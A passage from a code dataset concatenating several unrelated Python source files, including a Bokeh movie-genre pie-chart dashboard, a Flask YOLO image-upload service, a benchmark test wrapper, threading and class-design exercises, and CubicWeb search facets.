radius=0.5,\n start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'),\n line_color=\"white\", fill_color='color', source=source_top_genres)\n\nyears_pie = p2.wedge(x=0, y=2, radius=0.5,\n start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'),\n line_color=\"white\", fill_color='color', source=source_top_years)\n\ntypes_pie = p3.wedge(x=0, y=2, radius=0.5,\n start_angle=cumsum('angle', include_zero=True), end_angle=cumsum('angle'),\n line_color=\"white\", fill_color='color', source=source_top_types)\n\np.axis.axis_label, p2.axis.axis_label, p3.axis.axis_label = None, None, None\np.axis.visible, p2.axis.visible, p3.axis.visible = False, False, False\np.grid.grid_line_color, p2.grid.grid_line_color, p3.grid.grid_line_color = None, None, None\n\n# reset functions\ndef callback():\n source_top_genres.selected.indices = []\n\ndef callback2():\n source_top_years.selected.indices = []\n\ndef callback3():\n source_top_types.selected.indices = []\n\n# buttons, selects\nbutton1 = Button(label=\"Clear Selection\", button_type=\"success\")\nbutton2 = Button(label=\"Clear Selection\", button_type=\"success\")\nbutton3 = Button(label=\"Clear Selection\", button_type=\"success\")\n\nbutton1.on_click(callback)\nbutton2.on_click(callback2)\nbutton3.on_click(callback3)\n\nskipbutton = Toggle(label=\"Less than 50 movies\", button_type=\"success\")\nskipbutton2 = Toggle(label=\"Less than 10 movies\", button_type=\"success\")\nskipbutton3 = Toggle(label=\"Less than 10 movies\", button_type=\"success\")\n\nskipbutton.on_change('active', update_all)\nskipbutton2.on_change('active', update_all)\nskipbutton3.on_change('active', update_all)\n\nselect = Select(value=\"Total Movie\", options=[\"Total Movie\", \"Mean\"])\nselect2 = Select(value=\"Total Movie\", options=[\"Total Movie\", \"Mean\"])\nselect3 = Select(value=\"Total Movie\", options=[\"Total Movie\", \"Mean\"])\n\nselect.on_change('value', update_all)\nselect2.on_change('value', update_all)\nselect3.on_change('value', update_all)\n\ndef taballtypes(mode):\n # changes label/title of buttons and selections\n if mode:\n button1.label = \"Clear Selection of Genres\"\n button2.label = \"Clear Selection of Years\"\n button3.label = \"Clear Selection of Types\"\n skipbutton.label = \"Less than 50 movies of Genres\"\n skipbutton2.label = \"Less than 50 movies of Years\"\n skipbutton3.label = \"Less than 50 movies of Types\"\n select.title=\"Genres :\"\n select2.title=\"Years :\"\n select3.title=\"Types :\"\n else:\n button1.label = \"Clear Selection\"\n button2.label = \"Clear Selection\"\n button3.label = \"Clear Selection\"\n skipbutton.label = \"Less than 50 movies\"\n skipbutton2.label = \"Less than 50 movies\"\n skipbutton3.label = \"Less than 50 movies\"\n select.title = \"\"\n select2.title = \"\"\n select3.title = \"\"\n\ndef tabchanger(dropdownevent):\n # changes tabs according to dropdown menu\n if dropdownevent.item == 'genres_years':\n tablayout.tabs = [tab_genres_years_data, tab_genres_years_charts]\n taballtypes(False)\n elif dropdownevent.item == 'genres_types':\n tablayout.tabs = [tab_genres_types_data, tab_genres_types_charts]\n taballtypes(False)\n elif dropdownevent.item == 'years_types':\n tablayout.tabs = [tab_years_types_data, tab_years_types_charts]\n taballtypes(False)\n elif dropdownevent.item == 'all':\n tablayout.tabs = [tab_all_data, tab_all_charts]\n taballtypes(True)\n elif dropdownevent.item == 'onebyone':\n tablayout.tabs = [tab_genres, tab_years, tab_types]\n taballtypes(False)\n elif dropdownevent.item == 'style':\n tablayout.tabs = [tab_style]\n taballtypes(False)\n tablayout.active = 0\n\n# dropbox menu\nmenu = [(\"Genres - Years\", \"genres_years\"), (\"Genres - Types\", \"genres_types\"), (\"Years - Types\", \"years_types\"),\n None,\n (\"All Together\",\"all\"),\n (\"One by One\",\"onebyone\"),\n None,\n (\"Style\",\"style\")]\n\ndropdown = Dropdown(label=\"Chart Types\", button_type=\"warning\", menu=menu, max_width=250)\ndropdown.on_click(tabchanger)\n\n# tabs\ntab_genres_years_data = Panel(child=Row(Column(data_table_genres,button1,skipbutton,select),\n Column(data_table_years,button2,skipbutton2,select2)), title=\"Data Tables\")\ntab_genres_years_charts = Panel(child=Row(p, p2, sizing_mode=\"fixed\"), title=\"Pie Charts\")\n\ntab_genres_types_data = Panel(child=Row(Column(data_table_genres,button1,skipbutton,select),\n Column(data_table_types,button3,skipbutton3,select3)), title=\"Data Tables\")\ntab_genres_types_charts = Panel(child=Row(p, p3, sizing_mode=\"fixed\"), title=\"Pie Charts\")\n\ntab_years_types_data = Panel(child=Row(Column(data_table_years,button2,skipbutton2,select2),\n Column(data_table_types,button3,skipbutton3,select3)), title=\"Data Tables\")\ntab_years_types_charts = Panel(child=Row(p2, p3, sizing_mode=\"fixed\"), title=\"Pie Charts\")\n\ntab_all_data = Panel(child=Column(Row(data_table_genres,data_table_years),\n Row(data_table_types, Column(button1, button2, button3, skipbutton, skipbutton2, skipbutton3))), title=\"Data Tables\")\ntab_all_charts = Panel(child=Column(Row(p,p2, sizing_mode=\"fixed\"),\n Row(p3, Column(select, select2, select3, skipbutton, skipbutton2, skipbutton3), sizing_mode=\"fixed\")), title=\"Pie Charts\")\n\ntab_genres = Panel(child=Row(p, Column(data_table_genres, button1, skipbutton, select), sizing_mode=\"fixed\"), title=\"Genres\")\ntab_years = Panel(child=Row(p2, Column(data_table_years, button2, skipbutton2, select2), sizing_mode=\"fixed\"), title=\"Years\")\ntab_types = Panel(child=Row(p3, Column(data_table_types, button3, skipbutton3, select3), sizing_mode=\"fixed\"), title=\"Types\")\n\n# style-tab\nstyles_option = ['viridis', 'magma', 'inferno', 'grey', 'cividis', 'Turbo256']\n\ngenres_style = Select(value=\"viridis\", title=\"Genres :\", options=styles_option)\nyears_style = Select(value=\"magma\", title=\"Years :\", options=styles_option)\ntypes_style = Select(value=\"cividis\", title=\"Types :\", options=styles_option)\ngenres_style.on_change('value', update_all)\nyears_style.on_change('value', update_all)\ntypes_style.on_change('value', update_all)\n\ntab_style = Panel(child=Column(genres_style, years_style, types_style), title=\"Style\")\n\ndropdiv = Div(text=\"\", width=850)\n# final layout\ntablayout = Tabs(tabs=[tab_genres_years_data, tab_genres_years_charts])\nlayout = Column(Row(dropdiv, dropdown), tablayout, name=\"piechartslayout\")\n\ncurdoc().add_root(layout)\ncurdoc().title = 'Imdb Graphs - Pie Charts'\n","sub_path":"piecharts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"267225777","text":"\"\"\"\nClass representing the sliding puzzle board\n\"\"\"\n\nimport util as ut\n\n\nclass Board:\n def __init__(self, size):\n def get_solved_state():\n \"\"\"Return the solved state of the board.\"\"\"\n solved_board = []\n tiles = list(range(1, size*size + 1))\n tiles[-1] = None\n while(tiles != []):\n solved_board.append(tiles[0:size]) # Append a row to the solved board\n tiles = tiles[size:] # Remove tiles already in the board\n\n return solved_board\n\n self.solved_state = get_solved_state()\n self.state = self.solved_state\n\n def print_board():\n \"\"\"Prints the present state of the board.\"\"\"\n for row in self.state:\n for tile in row:\n if not tile:\n print(\" \", end=\"\")\n else:\n print(\"[ \" + str(tile) + \" ]\", end=\"\")\n\n\ndef main():\n board = Board(3)\n print(board.solved_state)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"0_search/sliding_puzzle/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585894633","text":"import threading\nimport time\nimport logging\nimport random\nfrom queue import Queue\n\n#logging.basicConfig(level=logging.DEBUG,\n# format='(%(threadName)-9s) %(message)s', )\n\nlogging.basicConfig(\n #filename='prodConsume.log',\n level=logging.DEBUG,\n format='%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s',\n datefmt=\"%Y-%mon-%d %H:%M:%S\")\n\n\n\nBUF_SIZE = 10\nq = Queue(BUF_SIZE)\n\n\nclass ProducerThread(threading.Thread):\n def __init__(self, group=None, target=None, name=None,\n args=(), kwargs=None, verbose=None):\n super(ProducerThread, self).__init__()\n self.target = target\n self.name = name\n\n def run(self):\n print('producer started working')\n #print('Inside producer Q : ', list(q))\n while True:\n if not q.full():\n item = random.randint(1, 10)\n q.put(item)\n logging.debug('Putting ' + str(item)\n + ' : ' + str(q.qsize()) + ' items in queue')\n time.sleep(1)\n # print('Inside run producer Q : ', list(q))\n return\n\n\nclass ConsumerThread(threading.Thread):\n def __init__(self, group=None, target=None, name=None,\n args=(), kwargs=None, verbose=None):\n super(ConsumerThread, self).__init__()\n self.target = target\n self.name = name\n return\n\n def run(self):\n print('consucer started working')\n #print('Inside consucer Q : ', list(q))\n while True:\n if not q.empty():\n\n item = q.get()\n logging.debug('Getting ' + str(item)\n + ' : ' + str(q.qsize()) + ' items in queue')\n time.sleep(2)\n # print('Inside run consucer Q : ', list(q))\n return\n\n\nif __name__ == '__main__':\n p1 = ProducerThread(name='producer1')\n #p2 = ProducerThread(name='producer2')\n c = ConsumerThread(name='consumer')\n\n #p2.start()\n p1.start()\n time.sleep(15)\n c.start()\n time.sleep(2)\n","sub_path":"ConProdConsuProblem.py","file_name":"ConProdConsuProblem.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"81163640","text":"import os\nimport platform\nimport shutil\nimport logging\n\nfrom utils import exec_with_timeout, Task\nimport reslog\nimport wrappers.wrapper\nimport consts\nimport repository\n\nlog = logging.getLogger(__name__)\n\n\nclass VisualCloud(wrappers.wrapper.TestTool):\n def prepare_tool(self):\n log.info(\"VC tool started\")\n\n self.task = Task(self.task)\n test_job = self.task.get_test_job()\n\n self.is_linux = False\n if platform.system() == \"Linux\":\n self.is_linux = True\n\n if self.is_linux:\n self.vctool_path = \"/tmp/VCBench\"\n self.vctool_exe = \"sudo \" + self.vctool_path + \"/VCBench\" # sudo for RAPL\n self.vcredist_x86_exe = \"\"\n self.vcredist_x64_exe = \"\"\n self.energylib_x64_exe = \"\"\n else:\n self.vctool_path = \"C:\\\\VCBench\"\n self.vctool_exe = self.vctool_path + \"\\\\VCBench.exe\"\n self.vcredist_x86_exe = self.vctool_path + \"\\\\vcredist2013_x86.exe\"\n self.vcredist_x64_exe = self.vctool_path + \"\\\\vcredist2013_x64.exe\"\n self.energylib_x64_exe = self.vctool_path + \"\\\\GadgetInstaller.exe\"\n self.test_name = test_job['scenario']\n self.scen_timeout = max(5, test_job['timeout'] - 10) # internal timeout\n\n if os.path.exists(self.vctool_path):\n log.info(\"Removing previous VCBench content\")\n shutil.rmtree(self.vctool_path)\n\n log.info(\"Copying latest VCBench content\")\n shutil.copytree(self.tool_path, self.vctool_path)\n\n log.info(\"Copying VC devices\")\n original_bld_path = repository.get_repo(\"\").get_build_dir(self.task.get_sut_job())\n for f in os.listdir(original_bld_path):\n if not f.endswith(('.7z', '.rpm')):\n shutil.copy2(os.path.join(original_bld_path, f), self.vctool_path)\n\n # install vcredist x86 and x64 (we don't need to know which VCBench version is to be run)\n if self.vcredist_x86_exe != \"\" and os.path.exists(self.vcredist_x86_exe):\n log.info(\"Installing vcredist x86\")\n exec_with_timeout(\"CMD /C \" + self.vcredist_x86_exe + \" /install /quiet\", 180)\n if self.vcredist_x64_exe != \"\" and os.path.exists(self.vcredist_x64_exe):\n log.info(\"Installing vcredist x64\")\n exec_with_timeout(\"CMD /C \" + self.vcredist_x64_exe + \" /install /quiet\", 180)\n\n # Windows needs Power Library service running to get Energy Lib working\n if self.energylib_x64_exe != \"\" and os.path.exists(self.energylib_x64_exe):\n log.info(\"Starting EnergyDriver service\")\n exec_with_timeout(\"CMD /C \" + self.energylib_x64_exe, 180)\n\n def prepare_scenario(self):\n log.info(\"Preparing scenario\")\n\n f = open(self.scen_file, \"r\")\n self.cli = f.read()\n f.close()\n\n self.cli += \" \" + os.path.join(os.path.abspath(\"\"), \"results.txt\")\n\n def prepare_initial_results(self):\n log.info(\"Preparing initial results\")\n\n reslog.generate_initial_results(os.getcwd(), [])\n\n def run_testing(self):\n log.info(\"Running tests...\")\n log.info(\"Test name: \" + self.test_name + \"; CLI: \" + self.cli)\n\n output = exec_with_timeout(self.vctool_exe + \" \" + self.cli, self.scen_timeout * 60,\n shell=True, tracing=True, cwd=self.vctool_path)\n\n # parse results\n cases_results = []\n f = open(\"results.txt\")\n cases_results = f.read().splitlines()\n f.close()\n\n # analyze each of cases for the sub-scenario and append results to XML\n for case_result in cases_results:\n if case_result == \"\":\n continue\n result = self._check_result(case_result, output[1], self.cli)\n reslog.store_result(os.getcwd(), self.test_name + \".\" + case_result.split(\" \")[0], **result)\n\n log.info(\"All tests completed.\")\n\n def _check_result(self, case_output, retcode, cmd_line):\n result = {\"status\": consts.TC_RESULT_NRUN}\n\n message = \"Failed\"\n case_passed = False\n\n # our attributes are separated by space\n # do note that attribute[0] is a case name actually\n attributes = case_output.split(\" \")\n for attribute in attributes[1:]:\n if \":\" not in attribute:\n continue\n pair = attribute.split(\":\")\n # \"status\" key is a special attribute - it's mandatory for each case\n if pair[0] == \"status\":\n if pair[1].lower() == \"passed\":\n case_passed = True\n # if test stored message that should be delivered through Berta results page\n elif pair[0] == \"message\":\n message = pair[1].replace(\"_\", \" \")\n # all others are treated as key:value attribs (e.g. FPS, time, diff_ratio, ...)\n else:\n result[pair[0]] = pair[1]\n\n #case completed but failed\n if case_passed != True:\n result[\"failure\"] = message\n result[\"status\"] = consts.TC_RESULT_FAIL\n result[\"cmd_line\"] = cmd_line\n else:\n result[\"status\"] = consts.TC_RESULT_PASS\n\n return result\n\n\nif __name__ == \"__main__\":\n wrappers.wrapper.run(VisualCloud)\n","sub_path":"berta/berta/wrappers/visual_cloud.py","file_name":"visual_cloud.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494806194","text":"# -*- coding: utf-8 -*-#\n\nimport base64\nimport shutil\nimport os\nimport uuid\nfrom datetime import timedelta\n\nfrom flask import Flask, render_template, request, jsonify\nfrom werkzeug.utils import secure_filename\n\nimport yolo.detect as detect\n\n# 设置允许的文件格式\nALLOWED_EXTENSIONS = {'png', 'jpg', 'bmp'}\n\n\ndef allowed_file(filename):\n\treturn '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\napp = Flask(__name__)\n# 设置静态文件缓存过期时间\napp.send_file_max_age_default = timedelta(seconds = 1)\n\n\n@app.route('/upload', methods = ['POST', 'GET']) # 添加路由\ndef upload():\n\tprint(request)\n\tif request.method == 'POST':\n\t\tf = request.files['file']\n\n\t\tif not (f and allowed_file(f.filename)):\n\t\t\treturn jsonify({\"state\": False, \"msg\": \"请检查上传的图片类型,仅限于PNG、JPG、BMP。\"})\n\n\t\tsession_id = str(uuid.uuid4())\n\t\t# session_id = str(uuid.uuid5(uuid.NAMESPACE_OID, hashlib.md5(f)))\n\n\t\tbase_path = os.path.dirname(__file__)\n\n\t\tupload_path = os.path.join(base_path, 'static/images',\n\t\t secure_filename(session_id + \".\" + f.filename.split(\".\")[1]))\n\t\tf.save(upload_path)\n\n\t\tloc = detect.run(source = upload_path, name = session_id)\n\t\tprint(loc)\n\t\tprint(os.listdir(loc))\n\t\timg_list = os.listdir(loc)\n\t\tfor num in range(0, len(img_list)):\n\t\t\timg_name = img_list[num]\n\t\t\timg_list[num] = \"data:image/\" + img_name.split(\".\")[1] + \";base64,\" + \\\n\t\t\t str(base64.b64encode(open(os.path.join(loc, img_name), \"rb\").read()))[2:][:-1]\n\t\t# print(img_list[num])\n\n\t\tos.remove(upload_path)\n\t\tshutil.rmtree(loc)\n\t\treturn jsonify({\"state\": True, \"imgs\": img_list})\n\t# return render_template('upload_ok.html', userinput = user_input, val1 = time.time(), data_dict = lab)\n\n\treturn render_template('upload.html')\n\n\nif __name__ == '__main__':\n\tapp.run(host = '0.0.0.0', port = 5000)\n","sub_path":"flask_yolo.py","file_name":"flask_yolo.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"14015104","text":"# coding = utf-8\n\n\"\"\"\n生成测试报告\n\"\"\"\nimport unittest\n\nfrom TestPython.python_Excel import test\nimport HTMLTestRunner\n\nif __name__ == '__main__':\n filePath = 'F:\\CHTestReport.html'\n fp = open(filePath, 'wb')\n runner = HTMLTestRunner.HTMLTestRunner(stream=fp, title='CloudHawk接口测试报告', description='CloudHawk的登录登出,子账户,角色,poi,围栏,重置密码接口测试报告')\n suite = unittest.TestSuite()\n suite.addTest(test.testLoginApi(\"test_LoginApi\"))\n suite.addTest(test.testUsersApi(\"test_UsersApi\"))\n runner.run(suite)\n fp.close()\n","sub_path":"TestPython/python_Excel/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"236570998","text":"# 2. 用类来描述一个学生信息(可以修改之前写的Student类)\n# class Student:\n# 此处自己实现\n# 学生信息有:\n# 姓名,年龄, 成绩\n# 将这些学生的对象存于列表中,可以任意添加和删除学生信息\n# 1) 打印出学生的个数\n# 2) 打印出所有学生的平均成绩\n# 3) 打印出所有学生的平均年龄\n\n# class Student:\n# def __init__(self,n,a,s=0):\n# self.name=n\n# self.age=n\n# self.score=s\n# infos=[]\n# def add_Student(info,n,a,s):\n# '''添加学生信息'''\n# stu=Student(n,a,s)\n# infos.append(stu)\n# def del_student(infos):\n# n=input(\"请输入要删除的学生姓名:\")\n# for index,stu in enumerate(infos):\n# if stu.name==n:\n# del infos[index]\n# print(\"删除\",n,\"成功\")\n# return\n# print(\"删除\",n,\"失败\")\n# def get_avg_score(infos):\n# s=0\n# for stu in infos:\n# s+=stu.score\n# return s/(infos)\n# add_Student(infos,\"小张\",20,100)\n# add_Student(infos,\"小李\",30,60)\n# add_Student(infos,\"小王\",50,80)\n# add_Student(infos,\"小赵\",10,90)\n# # del_student(infos)\n# get_avg_score(infos)\n\n\n# 思考:\n# list 类里只有apend向末尾加一个元素的方法,但没有向列表头部\n# 添加元素的方法,试想能否为列表在不改变原有功能的基础上添加一\n# 个 insert_head(n) 方法在列表的头部添加新元素\n\n# class MyList(list):\n# def insert_head(self, n):\n# .... # 此自己偿试写代码\n\n# myl = MyList(range(3, 6))\n# print(myl) # [3, 4, 5]\n# myl.insert_head(2)\n# print(myl) # [2, 3, 4, 5]\n# myl.append(6)\n# print(myl) # [2, 3, 4, 5, 6]\n\n# class MyList(list):\n# def insert_head(self, n):\n# .... # 此自己偿试写代码\n\n# class MyList(list):\n# def insert_head(self, n):\n# # self[0:0]=[n]\n# self.insert(0,n)#insert列表插入函数,插入在第0个位置\n# myl = MyList(range(3, 6))\n# print(myl) # [3, 4, 5]\n# myl.insert_head(2)\n# print(myl) # [2, 3, 4, 5]\n# myl.append(6)\n# print(myl) # [2, 3, 4, 5, 6]\n\n\nclass Dog:\n l=[]\n dog_count=0\n def __init__(self,color,pinz,name):\n self.color=color\n self.pinz=pinz\n self.name=name\n self.__class__.dog_count+=1\n Dog.l.append(self)\n def play(self,w):\n print(self.color,\"的\",self.pinz,\"叫\",self.name,\"在玩:\",w)\n def del_dog(self):\n sa=input(\"请输入要删除的狗:\")\n for index,x in enumerate(self.__class__.l):\n if sa==x.name:\n del self.__class__.l[index]\n print(self.color,\"的\",self.pinz,\"叫\",self.name,\"走了\")\nclass dog_01(Dog):\n Dog.dog_count+=1\nd1=Dog(\"黄色\",\"哈士奇\",\"二哈\")\nd2=Dog(\"灰色\",\"拉布拉多\",\"小灰\")\nd1.play(\"球\")\nd2.play(\"水\")\nprint(Dog.l)\nprint(\"一共有:\",Dog.dog_count,\"个小狗\")\n# Dog.del_dog(d1)删除\n\nd2=dog_01(\"红色\",\"田园犬\",\"小红\")\nd2.play(\"玩具\")","sub_path":"python3/day18/lianxi.py","file_name":"lianxi.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"284236496","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor : qianwenluo\nDate : 2019-04-03\nPurpose: Rock the Casbah\n\"\"\"\n\nimport os\nimport sys\nimport re\n\n\n# --------------------------------------------------\ndef main():\n args = sys.argv[1:]\n\n if len(args) != 1:\n print('Usage: {} STATE'.format(os.path.basename(sys.argv[0])))\n sys.exit(1)\n\n state = args[0]\n if not re.search('^[.XO]{9}$',state):\n print('State \"{}\" must be 9 characters of only ., X, O'.format(state))\n sys.exit(1)\n\n x_win1 = re.compile('X{3}[.XO]{3}[.XO]{3}')\n x_win2 = re.compile('[.XO]{3}X{3}[.XO]{3}')\n x_win3 = re.compile('[.XO]{3}[.XO]{3}X{3}')\n x_win4 = re.compile('X[.XO]{2}X[.XO]{2}X[.XO]{2}')\n x_win5 = re.compile('[.XO]{1}X[.XO]{2}X[.XO]{2}X[.XO]{1}')\n x_win6 = re.compile('[.XO]{2}X[.XO]{2}X[.XO]{2}X')\n x_win7 = re.compile('X[.XO]{3}X[.XO]{3}X')\n x_win8 = re.compile('[.XO]{2}X[.XO]{1}X[.XO]{1}X[.XO]{2}')\n\n o_win1 = re.compile('O{3}[.XO]{3}[.XO]{3}')\n o_win2 = re.compile('[.XO]{3}O{3}[.XO]{3}')\n o_win3 = re.compile('[.XO]{3}[.XO]{3}O{3}')\n o_win4 = re.compile('O[.XO]{2}O[.XO]{2}O[.XO]{2}')\n o_win5 = re.compile('[.XO]{1}O[.XO]{2}O[.XO]{2}O[.XO]{1}')\n o_win6 = re.compile('[.XO]{2}O[.XO]{2}O[.XO]{2}O')\n o_win7 = re.compile('O[.XO]{3}O[.XO]{3}O')\n o_win8 = re.compile('[.XO]{2}O[.XO]{1}O[.XO]{1}O[.XO]{2}')\n\n match1 = x_win1.match(state) or x_win2.match(state) or x_win3.match(state) or x_win4.match(state) or x_win5.match(state) \\\n or x_win6.match(state) or x_win7.match(state) or x_win8.match(state)\n\n match2 = o_win1.match(state) or o_win2.match(state) or o_win3.match(state) or o_win4.match(state) or o_win5.match(state) \\\n or o_win6.match(state) or o_win7.match(state) or o_win8.match(state)\n\n if match1:\n print('X has won')\n elif match2:\n print('O has won')\n else:\n print('No winner')\n\n\n# --------------------------------------------------\nmain()\n","sub_path":"assignments/11-tictactoe/outcome.py","file_name":"outcome.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"35381153","text":"#Programa que calcule la media de 3 numeros pedidos al usuario\r\n\r\n#Autor: Ruben Ramirez Rivera\r\n\r\n#Fecha: 12/10/2019\r\n\r\n#Algoritmo:\r\n\r\n#\t\tn1(numerico): valor del primer numero \r\n#\t\tn2(numerico): valor del segundo numero \r\n#\t\tn3(numerico): valor del tercer numero \r\n#\t\tm(numerico): valor de la media de n1, n2 y n3 --> m=(n1+n2+n3)/3\r\n\r\n#\tLEER n1\r\n#\tLEER n2\r\n#\tLEER n3\r\n#\tm <-- (n1 + n2 + n3) / 3\r\n# \tESCRIBIR m\r\n\r\n#Pedimos el valor de los 3 numeros\r\n\r\nn1 = float(input(\"\\n Valor del primer numero: \"))\r\nn2 = float(input(\" Valor del segundo numero: \"))\r\nn3 = float(input(\" Valor del tercer numero: \"))\r\n\r\n#Calculo de la media\r\n\r\nm = (n1 + n2 +n3) / 3\r\n\r\n#Mostramos el resultado de la media\r\n\r\nprint(\"\\n El valor de la media es \", m)","sub_path":"python/tareas1/a6.py","file_name":"a6.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"283889085","text":"##########################################################################\n# NSAp - Copyright (C) CEA, 2013\n# Distributed under the terms of the CeCILL-B license, as published by\n# the CEA-CNRS-INRIA. Refer to the LICENSE file or to\n# http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html\n# for details.\n##########################################################################\n\n# Cubicweb import\nfrom cubicweb.web import facet\nfrom cubicweb.selectors import is_instance\nfrom cubicweb.web.views.facets import FacetFilterMixIn\n\n# Brainomics import\nfrom cubes.brainomics.views.facets import MeasureHandednessFacet\nfrom cubes.brainomics.views.facets import MeasureGenderFacet\nfrom cubes.brainomics.views.facets import MeasureAgeFacet\n\n############################################################################\n# Hide facet while filtering\n############################################################################\n\nFacetFilterMixIn._generate_form = FacetFilterMixIn.generate_form\n\n\ndef generate_form(self, w, rset, divid, vid, vidargs=None, mainvar=None,\n paginate=False, cssclass='', hiddens=None, **kwargs):\n\n FacetFilterMixIn._generate_form(self, w, rset, divid, vid, vidargs=None,\n mainvar=None, paginate=False,\n cssclass='', hiddens=None, **kwargs)\n\n html = \"\"\n\n w(u'{0}'.format(html))\n\nFacetFilterMixIn.generate_form = generate_form\n\n\n############################################################################\n# FACETS\n############################################################################\n\nclass TimepointFacet(facet.RQLPathFacet):\n \"\"\" Filter on timepoint (form the 'Assessment' entity).\n\n This filter is applied on 'Scan', 'ProcessingRun',\n 'QuestionnaireRun' and 'GenomicMeasure' entities.\n \"\"\"\n __regid__ = \"timepoint-facet\"\n __select__ = is_instance(\"Scan\", \"ProcessingRun\", \"QuestionnaireRun\",\n \"GenomicMeasure\")\n path = [\"X in_assessment A\", \"A timepoint T\"]\n order = 1\n filter_variable = \"T\"\n title = _(\"Timepoints\")\n\n\nclass StudyFacet(facet.RQLPathFacet):\n \"\"\" Filter on study name (from the 'Study' entity).\n\n This filter is applied on 'Scan', 'ProcessingRun',\n 'QuestionnaireRun' and 'GenomicMeasure' entities.\n \"\"\"\n __regid__ = \"study-facet\"\n __select__ = is_instance(\"Scan\", \"ProcessingRun\", \"QuestionnaireRun\",\n \"GenomicMeasure\")\n path = [\"X in_assessment A\", \"A study S\", \"S name N\"]\n order = 2\n filter_variable = \"N\"\n title = _(\"Studies\")\n\n\nclass SubjectFacet(facet.RQLPathFacet):\n \"\"\" Filter on subject code (from the 'Subject' entity).\n\n This filter can is applied on 'Scan', 'ProcessingRun',\n 'QuestionnaireRun' and 'GenomicMeasure' entities.\n \"\"\"\n __regid__ = \"subject-facet\"\n __select__ = is_instance(\"Scan\", \"ProcessingRun\", \"QuestionnaireRun\")\n path = [\"X in_assessment A\", \"A subjects S\", \"S code_in_study C\"]\n order = 3\n filter_variable = \"C\"\n title = _(\"Subjects\")\n\n\nclass ScanFieldFacet(facet.RQLPathFacet):\n \"\"\" Filter the scan fields.\n\n This filter is applied on 'Scan'.\n \"\"\"\n __regid__ = \"scan-field-facet\"\n __select__ = is_instance(\"Scan\")\n path = [\"X has_data D\", \"D field F\"]\n order = 1\n filter_variable = \"F\"\n title = _(\"Scanner Field\")\n\n\nclass ScanFormatFacet(facet.RQLPathFacet):\n \"\"\" Filter the scan formats.\n\n This filter is applied on 'Scan'.\n \"\"\"\n __regid__ = \"scan-format-facet\"\n __select__ = is_instance(\"Scan\")\n path = [\"X format F\"]\n order = 2\n filter_variable = \"F\"\n title = _(\"Image Format\")\n\n\nclass AssessmentTimepointFacet(facet.RQLPathFacet):\n \"\"\" Filter the assessment timepoints.\n\n This filter is applied on 'Assessment'.\n \"\"\"\n __regid__ = \"assessment-timepoint-facet\"\n __select__ = is_instance(\"Assessment\")\n path = [\"X timepoint T\"]\n order = 1\n filter_variable = \"T\"\n title = _(\"Timepoints\")\n\n\nclass AssessmentSubjectFacet(facet.RQLPathFacet):\n \"\"\" Filter the assessment subjects.\n\n This filter is applied on 'Assessment'.\n \"\"\"\n __regid__ = \"assessment-subject-facet\"\n __select__ = is_instance(\"Assessment\")\n path = [\"X subjects S\", \"S code_in_study C\"]\n order = 3\n filter_variable = \"C\"\n title = _(\"Subjects\")\n\n\nclass GenomicMeasureTypeFacet(facet.RQLPathFacet):\n \"\"\" Filter the genomic measure types.\n\n This filter is applied on 'GenomicMeasure'.\n \"\"\"\n __regid__ = \"genomicmeasure-type-facet\"\n __select__ = is_instance(\"GenomicMeasure\")\n path = [\"X type T\"]\n order = 1\n filter_variable = \"T\"\n title = _(\"Type\")\n\n\n###############################################################################\n# Registration callback\n###############################################################################\n\ndef registration_callback(vreg):\n vreg.unregister(MeasureHandednessFacet)\n vreg.unregister(MeasureGenderFacet)\n vreg.unregister(MeasureAgeFacet)\n vreg.register(GenomicMeasureTypeFacet)\n vreg.register(TimepointFacet)\n vreg.register(StudyFacet)\n vreg.register(SubjectFacet)\n vreg.register(ScanFieldFacet)\n vreg.register(ScanFormatFacet)\n vreg.register(AssessmentTimepointFacet)\n vreg.register(AssessmentSubjectFacet)\n","sub_path":"piws/views/facets.py","file_name":"facets.py","file_ext":"py","file_size_in_byte":5760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"115830676","text":"import numpy as np \nimport pandas as pd\n\nexample_array = np.array([[4, 7, 1], [4, 9, 1], [10, 3, 8], [2, 7, 3]])\nexample_array[2,1]\n\ndf = pd.DataFrame([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\ndf.iloc[1]\n\ndf.iloc[:,2]\n\nprint(\"volunteers_df shape: \", df.shape)\n\n# volunteers_df = pd.read_csv(\"volunteers.csv\")\n# volunteers_df\n# volunteers_df.iat[5,2]\n# volunteers_df.loc[4:5, \"name\":\"occupation\"]\n# volunteers_df.iloc[1:3, 1:3]\n# volunteers_df.loc[:6, \"occupation\":\"hours\"]\n\narr = np.array([60, 45, 54, 19, 90, 77, 42])\nmask = arr%15 == 0\nprint(\n arr[mask]\n)\n\nprint(\n arr[arr%15 == 0]\n)\n\n# pollution_df = pd.read_csv(\"pollution_ca_2012_2016.csv\")\n# pollution_df.head(3)\n\n# 